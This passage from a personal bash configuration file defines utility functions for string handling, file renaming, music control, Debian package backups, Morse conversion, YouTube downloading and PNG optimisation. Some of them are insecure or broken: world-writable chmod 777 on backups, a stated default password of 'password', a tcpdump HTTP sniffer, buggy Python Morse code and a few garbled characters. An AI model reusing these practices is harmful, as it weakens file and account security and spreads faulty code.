if [ "$nf" != "$filename" ]; then
mv "$file" "$newname"
echo "lowercase: $file --> $newname"
else
echo "lowercase: $file not changed."
fi
done
}
###### Remove whitespace at the beginning of a string
# @param string $1 string (optional, can also handle STDIN)
# @return string
# @example: echo " That is a sentinece " | trim
function ltrim() {
if [ -n "$1" ]; then
echo $1 | sed 's/^[[:space:]]*//g'
else
cat - | sed 's/^[[:space:]]*//g'
fi
}
###### Space removal and lowercases folders in current dir.
function rmspaces() {
ls | while read -r FILE
do
mv -v "$FILE" `echo $FILE | tr ' ' '_' | tr -d '[{}(),\!]' | tr -d "\'" | tr '[A-Z]' '[a-z]' | sed 's/_-_/_/g'`
done
}
###### Remove whitespace at the end of a string
# @param string $1 string (optional, can also handle STDIN)
# @return string
# @example: echo "That is a sentinece " | rtrim
function rtrim() {
if [ -n "$1" ]; then
echo $1 | sed 's/[[:space:]]*$//g'
else
cat - | sed 's/[[:space:]]*$//g'
fi
}
###### Cut a string after X chars and append three points - Usage: string strim( string string [, int length ] )
function strim() {
local string="$1"
local length=${2:-30}
[ "${#string}" -gt ${length} ] && string="${string:0:${length}}..."
echo $string
}
###### Convert all alphabetic characters to lowercase
# @param string $1|STDIN string
# @return string
function strtolower() {
if [ -n "$1" ]; then
echo $1 | tr '[:upper:]' '[:lower:]'
else
cat - | tr '[:upper:]' '[:lower:]'
fi
}
###### Convert all alphabetic characters converted to uppercase
# @param string $1|STDIN string
# @return string
function strtoupper() {
if [ -n "$1" ]; then
echo $1 | tr '[:lower:]' '[:upper:]'
else
cat - | tr '[:lower:]' '[:upper:]'
fi
}
###### Remove whitespace at the beginning and end of a string
# @param string $1 string (optional, can also handle STDIN)
# @return string
# @example: echo " That is a sentinece " | trim
function trim() {
if [ -n "$1" ]; then
echo $1 | sed 's/^[[:space:]]*//g' | sed 's/[[:space:]]*$//g'
else
cat - | sed 's/^[[:space:]]*//g' | sed 's/[[:space:]]*$//g'
fi
}
###### Convert the first letter into uppercase letters
function ucfirst() {
if [ -n "$1" ]; then
perl -e 'print ucfirst('$1')'
else
cat - | perl -ne 'print ucfirst($_)'
fi
}
###### Converts first letter of each word within a string into an uppercase, all other to lowercase - Usage: string ucwords( string string )
function ucwords() {
local string="$*"
for word in $string; do
# Get the first character with cut and convert them into uppercase.
local first="$( echo $word | cut -c1 | tr '[:lower:]' '[:upper:]' )"
# Convert the rest of the word into lowercase and append them to the first character.
word="$first$( echo $word | cut -c2-${#word} | tr '[:upper:]' '[:lower:]' )"
# Put together the sentence.
local phrase="$phrase $word"
done
echo "$phrase"
}
###### usage: upper [STRING]...
function upper() { echo ${@^^}; }
###### usage: echo hELLO wORLD | upper - convert stdin to upper case
function upper_() { tr [a-z] [A-Z]; }
####### Corporate ldapsearch for users #
function ldapfind() {
ldapsearch -x -h ldap.foo.bar.com -b dc=bar,dc=com uid=$1
}
# Organize a text file #
#------------------------------------------////
###### sort lines in a text file
function linesort()
{
sort -u "$1" > "$1".new
}
###### remove duplicate lines in a file (without resorting)
function removeduplines()
{
awk '!x[$0]++' "$1" > "$1".new
}
###### Livehttpheaders (firefox addon) replacement - usage: liveh [-i interface] [output-file] && firefox &
function liveh() { tcpdump -lnnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ; }
####### Search for music in the specified location
function locatemusic()
{
slocate -i "${1}" | grep "$HOME/Music/";
}
####### Use a logger
function log() {
echo "$1" 1>&2
logger -ist "$(basename -- "$0")" "$1"
}
####### List your MACs address
function lsmac() { ifconfig -a | awk '/HWaddr/ {print $5}' ; }
# MPD music stuff
#------------------------------------------////
###### Add music files in MPD
function madd()
{
# while [ $# -gt 0 ]; do
# case "$1" in
# a)
# args[i++]=artist;;
# b)
# args[i++]=album;;
# t)
# args[i++]=title;;
# *)
# args[i++]=$1;;
# esac; shift;
# done
# mpc search "${args[@]}" |
mpc search "$@" |
mpc add
}
###### Clear, add and play: MPD
function mcap()
{
mpc clear
# while [ $# -gt 0 ]; do
# case "$1" in
# a)
# args[i++]=artist;;
# b)
# args[i++]=album;;
# t)
# args[i++]=title;;
# *)
# args[i++]=$1;;
# esac; shift; done
# mpc search "${args[@]}" |
mpc search "$@" |
mpc add
mpc play
}
####### Email yourself a quick message #
function mailme()
{
echo "$@" | mail -s "$1" $SERVERMAIL
}
###### Usage: mailme message : mailme "process X completed"
function mailme_() { mailx -s "$@" $USER <<< "$@"; }
####### .. And function
function man_()
{
for i ; do
xtitle The $(basename $1|tr -d .[:digit:]) manual
command man -F -a "$i"
done
}
###### Extended man command - requires: sudo apt-get install w3m
function man_ext()
{
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
}
###### Manpage to ... document - example: man2pdf wipe = wipe.pdf
function man2pdf()
{
case $1 in
*help | "" )
echo -e "\nUsage:"
echo -e "\nman2pdf | <manualpage> [generate a pdf from <manualpage>]\n"
tput sgr0
;;
* )
check_opt ps2pdf man2pdf
if [[ $? != "1" && $1 ]]; then
man -t $1 | ps2pdf - >$1.pdf
else echo "No manpage given."
fi
;;
esac
}
###### example: man2text wipe = wipe.txt
function man2text()
{
man "$1" | col -b > ~/man_"$1".txt
}
####### What is the use of this switch? #
function manswitch() { man $1 | less -p "^ +$2"; }
####### Map a command over a list of files - map-files /lib *.so ls -la #
function map-files() { find $1 -name $2 -exec ${@:3} {} \ ; }
####### Meta-Backup - backup your software selection and repositories in a deb meta package
function meta-backup()
{
## Written by Arjan van Lent aka socialdefect ## VERSION: 2.1 ## Modified by Inameiname
DIALOG1="Did you enable extra repositories or PPAs on this system?. If you have no idea what this is just enter no"
DIALOG2="Your backup has been created succesfully"
DIALOG3="Something went wrong. Type bash -x meta-backup in a terminal to debug"
DIALOG4="Would you like to use the backup for a distribution upgrade?"
DIALOG5="Enter the codename of the distribution you'd like to upgrade to. eg. sid or maverick"
DIALOG6="Where woud you like to save your backup files? Enter full path. eg /home/username/backups"
mkdir -p /tmp/meta-backup/my-meta-backup/DEBIAN ## creating build directories
dialog --title "Meta-backup" --yesno "$DIALOG1" 8 40 ## repository dialog ## question add repo's
dialog --title "Meta-backup" --infobox "..." 8 40
if [ $? = 0 ] ; then
mkdir -p /tmp/meta-backup/my-repo-backup/etc/apt/sources.list.d
mkdir /tmp/meta-backup/my-repo-backup/DEBIAN
cp -R /etc/apt/sources.list.d/* /tmp/meta-backup/my-repo-backup/etc/apt/sources.list.d/
cp -R /etc/apt/sources.list /tmp/meta-backup/my-repo-backup/etc/apt/
fi
## create the control file for the repo-backup
echo 'Section: misc
Priority: optional
Package: my-repo-backup
Version: 2.1
Maintainer: meta-backup
Depends:
Architecture: all
Description: Repository/PPA backup created by meta-backup.
Repository/PPA backup created by meta-backup. This package can be used to install all repositories and PPAs that are installed on the computer where the backup is made.' >> /tmp/meta-backup/my-repo-backup/DEBIAN/control
## create the preinst file for the repo-backup
echo '#!/bin/sh
set -e
# Backup repo config
mv /etc/apt/sources.list /etc/apt/sources.list.old
mv /etc/apt/sources.list.d /etc/apt/sources.list.d.old' >> /tmp/meta-backup/my-repo-backup/DEBIAN/preinst
chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/preinst
## create the postinst file for the repo-backup
echo '#!/bin/sh
set -e
# Pubkeys (to generate this large key, which is all of them in one: sudo apt-key exportall > /tmp/repokeys.key)
if [ -f /tmp/repokeys.key ];then
rm /tmp/repokeys.key
fi
sudo cat > "/tmp/repokeys.key" <<"End-of-message"' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
## get the repository keys
apt-key exportall >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
echo 'End-of-message
if which sudo apt-key >> /dev/null; then
if sudo apt-key add "/tmp/repokeys.key"; then
echo "OK - repokeys key was installed"
else
echo "ERROR: there was a problem installing the repokeys-key"
fi
fi
sudo rm -fv "/tmp/repokeys.key"' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
## create the postrm file for the repo-backup
echo '#!/bin/sh
set -e
# Restore repo config
mv /etc/apt/sources.list.old /etc/apt/sources.list
mv /etc/apt/sources.list.d.old /etc/apt/sources.list.d' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postrm
chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/postrm
dialog --title "Meta-backup" --yesno "$DIALOG4" 8 40 ## Distupgrade feature
dialog --title "Meta-backup" --infobox "..." 8 40
if [ $? = 0 ] ; then
dialog --title "Meta-backup" --inputbox "$DIALOG5" 8 40 2> /tmp/meta-backup/upgrade
UPGRADE=`cat /tmp/meta-backup/upgrade`
dialog --title "Meta-backup" --infobox "..." 8 40
fi
if [ $UPGRADE = 0 ] ; then
MYDIST=`lsb_release -cs`
sed 's/$MYDIST/$UPGRADE/' /tmp/meta-backup/myrepo-backup/etc/apt/sources.list
sed 's/$MYDIST/$UPGRADE/' /tmp/meta-backup/myrepo-backup/etc/apt/sources.list.d/*
fi ## end dist upgrade feature
DEPS=`aptitude search -F %p ~i --disable-columns | sed 's/$/,/' | tr '\n\r' ' ' | sed 's/, $//'` ## get list of inst. packages to fill DEPS variable
## create the control file for the meta-backup
echo "Section: misc
Priority: optional
Package: my-meta-backup
Version: 2.1
Maintainer: meta-backup
Depends: $DEPS
Architecture: all
Description: Personal system backup created by meta-backup
Personal system backup created by meta-backup. This package can be used to install all applications that are installed on the computer where the backup is made. Can be used on all systems using the same base system version as used on the backup machine." >> /tmp/meta-backup/my-meta-backup/DEBIAN/control
cd /tmp/meta-backup && dpkg --build my-meta-backup ## build and save the package(s)
if [ $? = 0 ] ; then
cd /tmp/meta-backup && dpkg --build my-repo-backup
fi
ls /tmp/meta-backup/my-meta-backup.deb ## finish backup
if [ $? = 0 ] ; then
ERROR=no
else ERROR=yes
fi
ls /tmp/meta-backup/my-repo-backup.deb
if [ $? = 0 ] ; then
ERROR=no
else ERROR=yes
fi
dialog --title "Meta-backup" --inputbox "$DIALOG6" 8 40 2> /tmp/meta-backup/save ## move the debs to selected location
SAVE=`cat /tmp/meta-backup/save`
dialog --title "Meta-backup" --infobox "..." 8 40
ls $SAVE
if [ $? = 0 ] ; then
mv /tmp/meta-backup/*.deb $SAVE
chmod 777 $SAVE/my-*-backup.deb
else
mkdir -p $SAVE
mv /tmp/meta-backup/*.deb $SAVE
chmod -R 777 $SAVE
fi
if [ $ERROR = no ] ; then ## Display exit message
dialog --title "Meta-backup" --infobox "$DIALOG2" 8 40
else
dialog --title "Meta-backup" --infobox "$DIALOG3" 8 40
fi
rm -rf /tmp/meta-backup ## cleaning up
}
###### Automatically inputs aliases here in'.bashrc' - Usage: mkalias <name> "<command>" Example: mkalias rm "rm -i"
function mkalias()
{
if [[ $1 && $2 ]]
then
echo -e "alias $1=\"$2\"" >> ~/.bashrc
alias $1=$2
fi
}
# Makes directory then moves into it #
#------------------------------------------////
####### mkcdr
#function mkcdr() { mkdir -p -v $1 cd $1; }
####### mkdircd
function mkdircd() { mkdir -p "$@" && eval cd "\"\$$#\""; }
####### mktar - Creates an archive from directory
function mktar() { tar cvf "${1%%/}.tar" "${1%%/}/"; }
####### mktbz - Creates an archive from directory
function mktbz() { tar cvjf "${1%%/}.tar.bz2" "${1%%/}/"; }
####### mktgz - Creates an archive from directory
function mktgz() { tar cvzf "${1%%/}.tar.gz" "${1%%/}/"; }
####### Reminder / to do list
function mnote()
{
echo -e "- $* \n" >> ~/todo
echo -e "- $* \n" >> ~/todo.perm
~/motd.pl
}
###### Morse code encoding and decoding - this is a short Morse code decoder written as a shellscript using sed the Morse coded text should be written with spaces between the letters only good to convert from Morse code to text
function morse2text()
{
echo $1\ | tr . 0 | sed -e {s/0----\ /1/g} -e {s/00---\ /2/g} -e {s/000--\ /3/g} -e {s/000-\ /4/g} -e {s/00000\ /5/g} -e {s/-0000\ /6/g} -e {s/--000\ /7/g} -e {s/---00\ /8/g} -e {s/----0\ /9/g} -e {s/-----\ /0/g} \
| sed -e {s/-0-0\ /c/g} -e {s/-000\ /b/g} -e {s/00-0\ /f/g} -e {s/0000\ /h/g} -e {s/0---\ /j/g} -e {s/0-00\ /l/g} -e {s/0--0\ /p/g} -e {s/--0-\ /q/g} -e {s/000-\ /v/g} -e {s/-00-\ /x/g} -e {s/-0--\ /y/g} -e {s/--00\ /z/g} \
| sed -e {s/0--\ /w/g} -e {s/-00\ /d/g} -e {s/--0\ /g/g} -e {s/-0-\ /k/g} -e {s/---\ /o/g} -e {s/0-0\ /r/g} -e {s/000\ /s/g} -e {s/00-\ /u/g} \
| sed -e {s/0-\ /a/g} -e {s/00\ /i/g} -e {s/--\ /m/g} -e {s/-0\ /n/g} \
| sed -e {s/0\ /e/g} -e {s/-\ /t/g}
}
function text2morse()
{
cat > "/tmp/text2morse.py" <<"End-of-message"
#!/usr/bin/python
# short mark, dot or 'dit' (.) = .
# longer mark, dash or 'dah' (-) = -
# intra-character gap (between the dots and dashes within a character) = no space
# short gap (between letters) = single space
# medium gap (between words) = double space
import sys
__author__="Aanand Natarajan"
# morse code dictionary
codes = {'1':".----",'2':"..---",'3':"...--",'4':"....-",'5':".....",'6':"-....",'7':"--...",'8':"---..",
'9':"----.",'0':"-----",'A':".-",'B':"-...",'C':"-.-.",'D':"-..",'E':".",'F':"..-.",'G':"--.",
'H':"....",'I':"..",'J':".---",'K':"-.-",'L':".-..",'M':"--",'N':"-.",'O':"---",'P':".--.",
'Q':"--.-",'R':".-.",'S':"...",'T':"-",'U':"..-",'V':"...-",'W':".--",'X':"-..-",'Y':"-.--",
'Z':"--..",
# punctuations
',':"--..--",'.':".-.-.-",'?':"..--..",';':"-.-.-",':':"---...",'/':"-..-.",
'-':"-....-","'":".----.",'(':"-.--.",')':"-.--.-",'!':"-.-.--",'&':".-...",
'=':"-...-",'+':".-.-.",'_':"..--.-",'"':".-..-.",'$':"...-..-",'@':".--.-.",
# space
' ':"|"}
binary = {'.':'.','-':'-',',':' ','|':' '}
def encode(value):
""" encodes the value into morse code """
morse_value=""
value.replace('*', 'X')
value.replace('^', 'XX')
for c in value:
try :
morse_value += codes[c.upper()]+','
except :
print "Unintended character " + c + " omitted"
return _get_binary(morse_value)
def decode(morse_code_value):
""" decodes the morse bytes """
decoded_value = _decode_binary(morse_code_value)
ascii_value=""
for v in decoded_value.split(","):
ascii_value += _get_key(v)
return ascii_value
def _get_binary(value):
binary_value = ""
for c in value:
binary_value += binary[c]
return binary_value
def _get_key(value):
""" returns the key for the given value """
for k,v in codes.items():
if v == value:
return k
return ''
def _decode_binary(binary):
dah_replaced = binary.replace('-', '-')
dit_replaced = dah_replaced.replace('.', '.')
comma_replaced = dit_replaced.replace(' ', ',')
zero_replaced = comma_replaced.replace('', '|,')
return zero_replaced
def _do_decode(value):
print "Decoded : "+decode(value)
def _do_encode(value):
print "Encoded : "+encode(value)
if __name__ == "__main__":
if len(sys.argv) > 2:
if sys.argv[1] == 'd' :
print "decoding"
_do_decode(sys.argv[2])
else:
print "encoding"
_do_encode(sys.argv[2])
elif len(sys.argv) > 1:
print "encoding"
_do_encode(sys.argv[1])
else:
print "Usage : "+sys.argv[0]+" [d (decode) |e (encode)] [input string]"
End-of-message
chmod +x "/tmp/text2morse.py"
"/tmp/text2morse.py" "$1"
rm "/tmp/text2morse.py"
}
####### Computes most frequent used words of text file usage: most_frequent "file.txt"
function most_frequent()
{
cat "$1" | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
}
####### Mount Fat #
function mount_fat()
{
local _DEF_PATH="/media/tmp1"
if [ -n "$2" ];then
sudo mount -t vfat -o rw,users,flush,umask=0000 "$1" "$2"
else
sudo mount -t vfat -o rw,users,flush,umask=0000 "$1" $_DEF_PATH
fi
}
# Flash Video Cache Finder/Saver #
#------------------------------------------////
###### flash video cache finder - Find cached video while watching and without needing downloader extensions Type moz at a prompt to find the vid. Tested with Firefox (Icecat), Chromium, Midori, Uzbl, Konqueror, and Arora
function moz()
{
# Make sure we have lsof
if [ -x /usr/sbin/lsof ]; then
LSOF=/usr/sbin/lsof
elif [ -x /usr/bin/lsof ]; then
LSOF=/usr/bin/lsof
elif [ -x /usr/local/bin/lsof ]; then
LSOF=/usr/local/bin/lsof
else
echo "lsof was not found... exiting"
return 1
fi
# Find a process ID and go there
PROCDIR=$( $LSOF -X | grep Flash | tail -n1 | awk '{ print $2 }' )
# Not found? exit gracefully
if [ "$PROCDIR" == "" ]; then
echo "No running instance found"
return 1
fi
cd /proc/$PROCDIR/fd
# Stat through the file descriptors looking for video
MQ=$( for i in *; do stat $i | head -n1 | grep "tmp/Flash" | awk '{ print $2 }'; done )
# Another exit point
if [ "$MQ" == "" ]; then
echo "No video found"
return 1
fi
#Finally, print them all out
for i in $MQ; do
j=${i#?}
echo "Video at "${j%?}
done
}
###### flash video cache saver - Find cached flash video and copy to user's home directory - Usage: mozz [filename] (where filename is the name you want to save as)
function mozz()
{
# Check for given filename
if [ $# -ne 1 ]; then
echo "Usage: mozz [filename]"
exit 65
fi
# Make sure we have lsof
if [ -x /usr/sbin/lsof ]; then
LSOF=/usr/sbin/lsof
elif [ -x /usr/bin/lsof ]; then
LSOF=/usr/bin/lsof
elif [ -x /usr/local/bin/lsof ]; then
LSOF=/usr/local/bin/lsof
else
echo "lsof was not found... exiting"
exit 1
fi
# Look for flvs in user's home - if not, create one
if [ ! -d $HOME/flvs ]; then
echo -e "\033[0;31mCreating " $HOME"/flvs"
mkdir -v $HOME"/flvs"
fi
# Find a process ID and go there
PROCDIR=$( $LSOF -X | grep Flash | tail -n1 | awk '{ print $2 }' )
# Not found? exit gracefully
if [ "$PROCDIR" == "" ]; then
echo "No running instance found"
exit 1
fi
# To warn us if nothing happens
flvflag=0
# Stat through FDs and copy the first
for i in /proc/$PROCDIR/fd/*; do
j=$( stat $i | head -n1 | grep "tmp/Flash")
if [ ${#j} -gt 0 ]; then
k=$( echo $j | awk '{ print $2 }' )
l=${k#?}
m=$( cp -v ${l%?} $HOME"/flvs/"$1".flv" )
echo -e "\033[0;32m$m"
echo -e "\033[0;34mCurrent filesize: \033[0;35m"$( stat --format=%s $HOME"/flvs/"$1".flv" )
flvflag=1
break
fi
done
# Echo the warning
if [ $flvflag -eq 0 ]; then
echo "Warning: no video was copied"
fi
}
####### Messagebox maker - msg "Title of Message Box" or msg "Title of Message Box" $height $width
function msg()
{
# function for making a messagebox
# if it has less than two arguments
if [[ $# < 2 ]]
then
# use auto-size for the messagebox
dialog --msgbox "$1" 0 0
else
# use specified height and width
dialog --msgbox "$1" $2 $3
fi
clear
}
# Youtube stuff #
#------------------------------------------////
###### stream YouTube videos directly to your media player
function mtube() {
video_id=$(curl -s $1 | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p");
mplayer -fs $(echo "http://youtube.com/get_video.php?$video_id");
}
alias mtube_='mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s "$1" | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")'
###### mps-youtube - requires "python-pip" and mps-youtube - sudo apt-get install python-pip - sudo pip install mps-youtube - sudo pip install mps-youtube --upgrade
# alias youtube='mpsyt'
###### Youtube-dl - requires "youtube-dl" sudo apt-get install youtube-dl
# alias yt='youtube-dl -t'
###### YouTube convert and download all user's videos to MP3s on the fly
function yt2mp3() { for j in `seq 1 301`;do i=`curl -s gdata.youtube.com/feeds/api/users/$1/uploads\?start-index=$j\&max-results=1|grep -o "watch[^&]*"`;ffmpeg -i `wget youtube.com/$i -qO-|grep -o 'url_map"[^,]*'|sed -n '1{s_.*|__;s_\\\__g;p}'` -vn -ab 128k "`youtube-dl -e ${i#*=}`.mp3";done;}
function yt2mp3-chanrip() { for count in 1 51 101 151 201 251 301; do for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads\?start-index="$count"\&max-results=50 | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do ffmpeg -i $(wget http://youtube.com/"$i" -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/') -vn -ab 128k "$(youtube-dl -e http://youtube.com/"$i").mp3"; done; done; unset count i; }
###### convert to ogg
function yt2ogg() {
ffmpeg -i "$1" -vn "$1".ogg
}
###### play YouTube's first match directly
function ytplay() { args="$*";mplayer -fs $(youtube-dl -g "http://www.youtube.com$(lynx --source "http://www.youtube.com/results?search_query=${args// /+}&aq=f"|grep -m1 '<a id=.*watch?v=.*title'|cut -d\" -f4)"); }
###### download entire YouTube channel - all of a user's videos #
function yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
###### download YouTube music playlist and convert it to mp3 files
function yt-pl2mp3() { umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4 ; }
####### Find artist and title of music cd, UPC code given
function musiccdinfo()
{
wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar
}
####### Query Wikipedia via console over DNS #
function mwiki() { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
# function mwiki() { dig +short txt `echo $*|sed 's| *|_|g'`.wp.dg.cx; }
function mwiki_() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }
####### User friendly ps
function my_ps() { ps $@ -u $USER -o pid,%cpu,%mem,bsdtime,command ; }
function pp() { my_ps f | awk '!/awk/ && $0~var' var=${1:-".*"} ; }
function psaux() {
[ $# == 1 ] && ps aux | grep $1
}
# 'Readlink' equivalent using shell commands, and following all links
#------------------------------------------////
###### this is equivalent to the GNU ' readlink' tool, but it supports following all links, even in different directories
# myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; }
# Editor startup, should be transparent for different versions
#------------------------------------------////
# function ned()
# { if [[ -n `which neditc` ]] ; then
# neditc $@
# elif [[ -n `which nedit` ]] ; then
# nedit $@ >&/dev/null &
# else
# echo NEdit does not appear to be on this computer.
# fi
# }
####### For newbies with Linux #
function newbies()
{
read -sn 1 -p "1/10. Welcome to Ubuntu. Relax. Take a breath. Just because it's not Windows doesn't mean it will be difficult to figure out. Especially with me at the wheel. ;)
"
read -sn 1 -p "ﻲ/10. Ubuntu is an operating system, just like Windows (ie. XP, Vista, 7). It is a Linux distro, meaning it uses the Linux kernel, which is essentially the brains of the operating system. Ubuntu is highly customizable, and I have tweaked it to look similar to Windows, but it can look, feel, and run any way you'd like. Unlike Windows, Ubuntu is free, as well as nearly all of it's applications. Less than 1% of the world uses Linux; about half of that use Ubuntu (#1 ranked Linux distro)). And due to this, and the fact that it's structure is different than Windows, it is pretty much virus-free. Also, no Windows viruses can ever harm a Linux/Ubuntu computer. So download away.
"
read -sn 1 -p "3/10. Your computer's username is 'Me'. Your computer's password is 'password'. The password can easily be changed.
"
read -sn 1 -p "ﻴ/10. To change the password, you must change both the User and the Default Keyring passwords. First, change the user password, by going to Menu (bottom left button) -> System -> Preferences -> About Me and click 'Change Password...'. Second, change the Default Keyring password by going to Menu (bottom left button) -> Accessories -> Passwords and Encryption Keys and find 'Passwords: default', click it with the right mouse button, and select 'Change Password'.
"
read -sn 1 -p "5/10. Ubuntu updates and upgrades are currently set up to install important security updates as well as to pop up a box prompting you to click install when anything else requires an upgrade. Very easy. Just need password. One thing about updates on Ubuntu is it updates everything, both the operating system and the installed applications through the repositories (official and unofficial servers that house a large number of various applications and games).
"
read -sn 1 -p "6/10. Your home folder (similar to a 'My Documents' folder in Windows) is 'me', and can be opened either by going to Menu (bottom left button) -> Places -> Home Folder, OR double-clicking the left mouse button on 'me's Home' on the Desktop. The 'Temp' folder inside is what is set for all downloads and is my ideal for using as the working folder for whatever you want. In the 'Pictures' folder, there is a 'Backgrounds' folder that includes all of your desktop backgrounds and is where you can add or remove backgrounds.
"
read -sn 1 -p "7/10. There are some application subsitutes to mention: [OpenOffice -> Microsoft Office], [(Totem) Movie Player -> Windows Media Player], [Evolution Mail -> Microsoft Outlook or Outlook Express], [Nautilus File Manager -> Windows Explorer].
"
read -sn 1 -p "8/10. If you'd like to add/remove software, Ubuntu has a very easy way to do so. Just go to the Ubuntu Software Center, by going to Menu (bottom left button) -> Ubuntu Software Center. It lists all the software found in the repositories.
"
read -sn 1 -p "9/10. If you wish to open this extremely helpful text again, it's as easy as: single-clicking the right mouse button anywhere on the Desktop (or in Nautilus File Manager) -> Scripts -> My_Scripts -> For-Newbies -> For-Newbies.sh.
"
read -sn 1 -p "10/10. To get rid of this damn script at startup because you are sick of seeing it every time you log into your computer, go to Menu (bottom left button) -> Other -> Startup Applications and uncheck 'For Newbies'.
"
}
####### Download all data from Google Ngram Viewer
function ngramviewerdl()
{
wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done
}
######## Run command detached from terminal and without output - Usage: nh
function nh() {
nohup "$@" &>/dev/null &
}
####### Stupid simple note taker #
function note()
{
# if file doesn't exist, create it
[ -f $HOME/.notes ] || touch $HOME/.notes
# no arguments, print file
if [ $# = 0 ]
then
cat $HOME/.notes
# clear file
elif [ $1 = -c ]
then
> $HOME/.notes
# add all arguments to file
else
echo "$@" >> $HOME/.notes
fi
}
####### Open a new terminal tab in the same directory as the current - SOURCE => http://pastie.caboo.se/188640 AND => http://justinfrench.com/index.php?id=231
function nth() {
osascript -e "
Tell application \"Terminal\"
activate
tell application \"System Events\" to tell process \"Terminal\" to keystroke \"t\" using command down
do script with command \"cd '$(pwd)'; clear\" in selected tab of the front window
end tell"
}
####### Remove apps with style: nuke it from orbit
#------------------------------------------////
###### You can't stand programs x, y, and z. Remove all trace of their existence by adding this function to your config. It will remove the cruft, the settings, #and such and such. This function doesn't even give a damn about you trying to remove programs that don't exist: it'll just for loop to the next one on #your hit list.
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }
####### Echo the lines of a file preceded by line number
function numberLines() { perl -pe 's/^/$. /' "$@" ; }
####### How many pages will my text files print on?
function numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
####### Open a GUI app from CLI
function open() {
$1 >/dev/null 2>&1 &
}
####### Display file contents either with less or cat
# based on number of lines #
#------------------------------------------////
function out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; }
####### Convert a single-page PDF to a hi-res PNG, at 300dpi - If you skip this part: -density 300x300, you'll get a very lo-res image
function pdf2png()
{
convert -density 300x300 $1 $2
}
####### ThePirateBay.org torrent search
function piratebay()
{
lynx -dump http://thepiratebay.org/search/$@|awk '/TPB.torrent$/ {print $2}'
}
####### Optimize PNG files
function pngoptim()
{
NAME_="pngoptim"
HTML_="optimize png files"
PURPOSE_="reduce the size of a PNG file if possible"
SYNOPSIS_="$NAME_ [-hl] <file> [file...]"
REQUIRES_="standard GNU commands, pngcrush"
VERSION_="1.0"
DATE_="2004-06-29; last update: 2004-12-30"
AUTHOR_="Dawid Michalczyk <[email protected]>"
URL_="www.comp.eonworks.com"
CATEGORY_="gfx"
PLATFORM_="Linux"
SHELL_="bash"
DISTRIBUTE_="yes"
# This program is distributed under the terms of the GNU General Public License
usage() {
echo >&2 "$NAME_ $VERSION_ - $PURPOSE_
Usage: $SYNOPSIS_
Requires: $REQUIRES_
Options:
-h, usage and options (this help)
-l, see this script"
exit 1
}
# tmp file set up
tmp_1=/tmp/tmp.${RANDOM}$$
# signal trapping and tmp file removal
trap 'rm -f $tmp_1 >/dev/null 2>&1' 0
trap "exit 1" 1 2 3 15
# var init
old_total=0
new_total=0
# arg handling and main execution
case "$1" in
-h) usage ;;
-l) more $0; exit 1 ;;
*.*) # main execution
# check if required command is in $PATH variable
which pngcrush &> /dev/null
[[ $? != 0 ]] && { echo >&2 required \"pngcrush\" command is not in your PATH; exit 1; }
for a in "$@";do
if [ -f $a ] && [[ ${a##*.} == [pP][nN][gG] ]]; then
old_size=$(ls -l $a | { read b c d e f g; echo $f ;} )
echo -n "${NAME_}: $a $old_size -> "
pngcrush -q $a $tmp_1
rm -f -- $a
mv -- $tmp_1 $a
new_size=$(ls -l $a | { read b c d e f g; echo $f ;} )
echo $new_size bytes
(( old_total += old_size ))
(( new_total += new_size ))
else
echo ${NAME_}: file $a either does not exist or is not a png file
fi
done ;;
*) echo ${NAME_}: skipping $1 ; continue ;;
esac
percentage=$(echo "scale = 2; ($new_total*100)/$old_total" | bc)
reduction=$(echo $(( old_total - new_total )) \
| sed '{ s/$/@/; : loop; s/\(...\)@/@.\1/; t loop; s/@//; s/^\.//; }')
echo "${NAME_}: total size reduction: $reduction bytes (total size reduced to ${percentage}%)"
}
